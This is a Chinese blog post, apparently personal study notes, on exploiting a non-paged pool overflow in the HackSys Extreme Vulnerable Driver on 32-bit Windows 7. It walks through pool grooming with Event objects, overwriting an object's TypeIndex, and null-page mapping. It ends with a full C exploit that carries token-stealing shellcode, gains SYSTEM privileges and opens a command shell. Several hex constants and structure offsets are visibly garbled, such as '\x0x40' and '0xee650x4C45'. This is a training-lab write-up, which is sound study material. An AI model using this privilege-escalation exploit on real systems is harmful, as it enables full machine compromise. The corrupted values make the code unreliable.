0x3 池溢出
前言
这篇学习小结压在我的小本本里很久了,最近准备面试,翻出来复习一下。为了避免保存在本地有丢失的风险,于是搬到在线博客中保存。
1.漏洞分析
int __stdcall TriggerBufferOverflowNonPagedPool(void *UserBuffer, unsigned int Size)
{
PVOID KernelHeap; // ebx
int result; // eax
_DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
KernelHeap = ExAllocatePoolWithTag(0, 0x1F8u, 'kcaH');
if ( KernelHeap )
{
_DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 504);
_DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", KernelHeap);
ProbeForRead(UserBuffer, 0x1F8u, 1u);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelHeap);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 504);
_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPool\n");
memcpy(KernelHeap, UserBuffer, Size); // 存在溢出
_DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", KernelHeap);
ExFreePoolWithTag(KernelHeap, 0x6B636148u);
result = 0;
}
else
{
_DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
result = -1073741801;
}
return result;
}
一个简单的溢出代码,没有检查传入的参数大小,直接进行内存拷贝,导致KernelHeap溢出。
3.漏洞利用
遇到池溢出,我们首先想到的是能不能通过溢出修改到位于池中重要的结构体,而正好结构体中还存在着函数指针,并且在应用层还能通过某个函数调用这个指针,如此便能劫持程序流。事实上当然存在着这种可能,但是要想办法创造这样的机会。在此之前,需要了解一些前置知识。
在内核池中,分配的内存有着一种结构,首先是它的头(_POOL_HEADER),后面是数据。
1: kd> dt _POOL_HEADER
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
头部占8个字节,只需了解其中:
- PreviousSize:前一个内存块大小
- PoolIndex:当前内存块所属列表的索引
- BlockSize:当前内存块大小
- PoolTag:标识
所以系统实际分配的大小为用户请求大小与头部大小的总和,在本例中等于0x200字节。
正所谓创造机会则是,我们需要通过堆风水使得某个结构体正好紧邻着KernelHeap的下方,这样才能保证KernelHeap发生溢出时能修改到这个结构体,还要求是紧邻着的,否者很可能会破坏掉其它在用的内存数据导致系统异常。
那么如何才能在用户空间中分配位于内核池中的内存呢?还需要使用什么样的结构体呢?这里有个一举两得的函数——CreateEvent\textcolor{cornflowerblue}{CreateEvent}CreateEvent。该函数会在内核中生成一个Event对象,该对象的可选头部大小根据调用的参数不同而略有不同,总大小为0x40字节。
process info | quota info | handle info | name info | creator info | |
---|---|---|---|---|---|
InfoMask | 0x10 | 0x08 | 0x04 | 0x02 | 0x01 |
Size | 0x08 | 0x10 | 0x08 | 0x10 | 0x10 |
该表是Event对象的每种可选头部大小与标志的对应关系。
Event对象的可选头部根据调用的参数可以没有,或者有一个,或者有多个。至于如何得知自己创建的Event对象的可选头部信息,更多的是靠经验和猜测并进行调试验证。这里直接说一下结论,我们代码中做出如下调用时:
CreateEventA(NULL, FALSE, FALSE, NULL);
得到的Event有一个可选头部quota_info,其结构如下:
1: kd> dt nt!_object_header_quota_info
+0x000 PagedPoolCharge : Uint4B
+0x004 NonPagedPoolCharge : Uint4B//本Event对象占用的内存大小
+0x008 SecurityDescriptorCharge : Uint4B
+0x00c SecurityDescriptorQuotaBlock : Ptr32 Void
这个结构具体的成员含义不需要了解,我们只需要记住这个结构的大小为0x10即可,后面需要使用这个偏移加上0x8找到object_header结构,也就是Event的头部信息,其中有重要的信息是我们需要了解的,也是这个漏洞利用的一个关键。
object_header结构如下:
1: kd> dt nt!_object_header
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar//该对象在对象类型表中的索引
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar//该成员的值表示此对象的可选头信息
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
在Win7及其以上的系统将所有的对象指针都放到了一张表(ObTypeIndexTable)中进行记录,对应的索引值保存在对象头部信息的TypeIndex成员中。通过TypeIndex和ObTypeIndexTable就能找到对象的数据。
如何确认Event的可选头部信息,前辈们也总结出了一些方法,就是套结构。看上面的表,一共就5种结构,两种大小。如果套的结构正确,那么看到的数据就会正常。例如在套用quota_info结构后,看到其NonPagedPoolCharge为0x40,然后通过偏移查看object_header结构的InfoMask是不是0x08就能相互印证是否是quota_info结构体了。
Event对象数据结构:
1: kd> dt _object_type
win32k!_OBJECT_TYPE
+0x000 TypeList : _LIST_ENTRY
+0x008 Name : _UNICODE_STRING
+0x010 DefaultObject : Ptr32 Void
+0x014 Index : UChar
+0x018 TotalNumberOfObjects : Uint4B
+0x01c TotalNumberOfHandles : Uint4B
+0x020 HighWaterNumberOfObjects : Uint4B
+0x00x18 HighWaterNumberOfHandles : Uint4B
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER//重点关注
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : Uint4B
+0x080 CallbackList : _LIST_ENTRY
其中的TypeInfo是我们所关注的
win32k!_OBJECT_TYPE_INITIALIZER
+0x000 Length : Uint2B
+0x002 ObjectTypeFlags : UChar
+0x002 CaseInsensitive : Pos 0, 1 Bit
+0x002 UnnamedObjectsOnly : Pos 1, 1 Bit
+0x002 UseDefaultObject : Pos 2, 1 Bit
+0x002 SecurityRequired : Pos 3, 1 Bit
+0x002 MaintainHandleCount : Pos 4, 1 Bit
+0x002 MaintainTypeList : Pos 5, 1 Bit
+0x002 SupportsObjectCallbacks : Pos 6, 1 Bit
+0x002 CacheAligned : Pos 7, 1 Bit
+0x004 ObjectTypeCode : Uint4B
+0x008 InvalidAttributes : Uint4B
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : Uint4B
+0x020 RetainAccess : Uint4B
+0x00x18 PoolType : _POOL_TYPE
+0x028 DefaultPagedPoolCharge : Uint4B
+0x02c DefaultNonPagedPoolCharge : Uint4B
+0x030 DumpProcedure : Ptr32 void
+0x034 OpenProcedure : Ptr32 long
+0x038 CloseProcedure : Ptr32 void
+0x03c DeleteProcedure : Ptr32 void
+0x040 ParseProcedure : Ptr32 long
+0x044 SecurityProcedure : Ptr32 long
+0x048 QueryNameProcedure : Ptr32 long
+0x04c OkayToCloseProcedure : Ptr32 unsigned char
从偏移0x30开始,存放着若干个函数指针,而对于Event对象来说,我们调用CloseHandle\textcolor{cornflowerblue}{CloseHandle}CloseHandle时会触发CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure,我们只要想办法修改CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure指针就好了。但问题是CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure指针并不存在Event的头部,CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure与头部在内存中并不连续,中间会有其他内存数据,我们不能直接一股脑全覆盖。有个办法就是我们可以通过覆盖位于头部的TypeIndex为0,那这有什么效果呢?Win7 x32下ObTypeIndexTable开头一项永远是0,而且在Win7下,可以通过NtAllocateVirtualMemory\textcolor{cornflowerblue}{NtAllocateVirtualMemory}NtAllocateVirtualMemory分配0页地址,我们将shellcode布置到0页地址的0x60(0x28+0x38\textcolor{orange}{0x28+0x38}0x28+0x38)处。这样一来,当我们调用CloseHandle\textcolor{cornflowerblue}{CloseHandle}CloseHandle时,系统会通过Event头部的TypeIndex定位到0页地址,然后通过位于object_type+0x28\textcolor{orange}{object\_type+0x28}object_type+0x28的TypeInfo找到位于TypeInfo+0x38\textcolor{orange}{TypeInfo+0x38}TypeInfo+0x38处的CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure并调用之,进而程序流被劫持,成功提权。
首先我们要做的是堆风水,已知KernelHeap+Pool_Header=0x200\textcolor{orange}{KernelHeap+Pool\_Header=0x200}KernelHeap+Pool_Header=0x200,一个Event对象大小是0x40,0x200的大小共有8个Event。我们先分配数目比较多(经测试5000个就可以了)的Event对象,然后每隔一个Event对象就连续释放8个Event对象,最后内存布局应该是这样的:
+-------------|-----------+
| Size | Stat |
+-------------|-----------+<---
| 0x40 | Free | |
+-------------|-----------+ |
| 0x40 | Free | |
+-------------|-----------+ |
| 0x40 | Free | |
+-------------|-----------+ |
| 0x40 | Free | |Free size: 0x200
+-------------|-----------+ |
| 0x40 | Free | |
+-------------|-----------+ |
| 0x40 | Free | |
+-------------|-----------+ |
| 0x40 | Free | |
+-------------|-----------+ |
| 0x40 | Free | |
+-------------|-----------+<---
| 0x40 | Alloc |
+-------------|-----------+
| 0x40 | Free |
+-------------|-----------+
...
这会形成若干个0x200的空洞,之后HEVD为KernelHeap分配的内存就会落在这其中的某个空洞中,而紧邻空洞下方的正是处于使用中的Event对象内存,接着我们就可以通过溢出去修改Event对象了。
溢出的时候会覆盖池头和Event的部分结构,因此需要对这些部分进行伪造,确保系统不发生异常,对于这些部分的伪造也相当简单,只要在溢出之前查看一下数据并伪造就好了。
最后关闭所有Event的句柄就能劫持程序流了。
4.EXP
#include <stdlib.h>
#include<stdio.h>
#define SymLinkName "\\\\.\\HacksysExtremeVulnerableDriver"
HANDLE g_hDev = INVALID_HANDLE_VALUE;
HANDLE g_spray2[5000] = { 0 };
CHAR shellcode[] = {
"\x90\x90\x90\x90" // NOP Sled
"\x60" // pushad
"\x31\xc0" // xor eax,eax
"\x0x40\x8b\x80\x0x18\x01\x00\x00" // mov eax,[fs:eax+0x10x18]
"\x8b\x40\x50" // mov eax,[eax+0x50]
"\x89\xc1" // mov ecx,eax
"\xba\x04\x00\x00\x00" // mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" // mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp [eax+0xb4],edx
"\x75\xed" // jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" // mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov [ecx+0xf8],edx
"\x61" // popad
"\xC2\x10\x00" // ret 16
};
BOOL GetDevHandle() {
//打开驱动符号链接
g_hDev=CreateFileA(
SymLinkName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL
);
return g_hDev != INVALID_HANDLE_VALUE;
}
VOID AttackPayload(){
__asm {
pushad; 保存堆栈状态
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
mov eax, [eax + EPROCESS_OFFSET]
mov ebx, eax; ebx保存的是当前进程的_EPROCESS
mov ecx, SYSTEM_PID
; 开始搜索system进程的_EPROCESS
SearchSystemPID :
mov eax, [eax + PROCESS_LINK_OFFSET]
sub eax, PROCESS_LINK_OFFSET
cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
jne SearchSystemPID
; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
popad; 恢复堆栈状态
mov eax,1
}
}
VOID AttackKernelHeap() {
PDWORD payload = (PDWORD)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
(0x1f8+0x40)*sizeof(DWORD));
PVOID Exp = &AttackPayload;
HMODULE hmodule = GetModuleHandleA("ntdll.dll");
PVOID baseAddress = (PVOID)1;
ULONG regionsize = 0x1000;
NtAllocateVirtualMemory_t NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL) {
printf("getprocaddress failed\n");
return ;
}
NTSTATUS ntst = 0;
ntst = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&baseAddress,
0,
®ionsize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (ntst != 0) {
printf("Alloc memery failed\n");
return;
}
FreeLibrary(hmodule);
FillMemory(payload, 0x1f8, 'A');//填充
int s = 0x1f8 / sizeof(DWORD);
/*
伪造堆头8字节
*/
payload[s++] = 0x04080040;
payload[s++] = 0xee650x4C45;
/*
伪造Event对象,0x40字节
*/
payload[s++] = 0;
payload[s++] = 0x40;
payload[s++] = 0;
payload[s++] = 0;
payload[s++] = 1;
payload[s++] = 1;
payload[s++] = 0;
payload[s++] = 0x80000;//将index改为0
//写0页面内存
*(PULONG)0x00000060 = (ULONG)Exp;
__try {
if (GetDevHandle()) {
////堆风水
for (int i = 0; i < 5000; i++) {
g_spray2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
if (!g_spray2[i]) {
printf("CreateEvent failed!\n");
return;
}
}
//制造空洞
//printf("Closing:");
for (int i = 0; i < 5000; i = i + 16) {
for (int j = 0; j < 8; j++) {
CloseHandle(g_spray2[i + j]);
}
//printf("\n");
}
DeviceIoControl(g_hDev, 0x22200F, payload, 0x1f8 + 0x40, NULL, 0, NULL, 0);
//提权
for (int i = 8; i < 5000; i = i + 16) {
for (int j = 0; j < 8; j++) {
CloseHandle(g_spray2[i + j]);
}
//printf("\n");
}
system("cmd");
}
}
__except (1) {
printf("Error\n");
exit(1);
}
}
int main() {
AttackKernelHeap();
return 0;
}
PS:后续还会发布一篇在Win7_x64下另一种池溢出的利用学习总结。\textcolor{green}{PS:后续还会发布一篇在Win7\_x64下另一种池溢出的利用学习总结。}PS:后续还会发布一篇在Win7_x64下另一种池溢出的利用学习总结。